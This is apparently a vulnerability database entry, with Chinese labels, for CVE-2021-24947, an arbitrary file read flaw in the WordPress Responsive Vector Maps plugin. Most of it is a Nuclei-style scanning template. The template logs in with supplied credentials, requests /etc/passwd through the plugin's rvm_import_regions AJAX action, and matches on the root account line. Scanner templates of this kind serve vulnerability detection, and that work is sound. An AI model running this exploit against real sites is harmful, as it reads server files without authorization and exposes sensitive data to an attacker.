CVE-2021-24947: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read

日期: 2025-08-01 | 影响软件: WordPress Responsive Vector Maps | POC: 已公开

漏洞描述

WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.

PoC代码[已公开]

id: CVE-2021-24947

info:
  name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
  author: cckuailong
  severity: medium
  description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24947
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/kazet/wpgarlic
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24947
    cwe-id: CWE-352,CWE-863
    epss-score: 0.08078
    epss-percentile: 0.91819
    cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: thinkupthemes
    product: responsive_vector_maps
    framework: wordpress
  tags: cve2021,cve,authenticated,wpscan,lfi,wp,wordpress,wp-plugin,lfr,thinkupthemes

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d401308097a57b8dd4612813785048d74d64e55f8a35d92e32967f472160802f02201c5c37e00d80b0c2a75ef2874a7a6ee562a39193a3aa06ff628625170b84ea2d:922c64590222798bb761d5b6d8e72950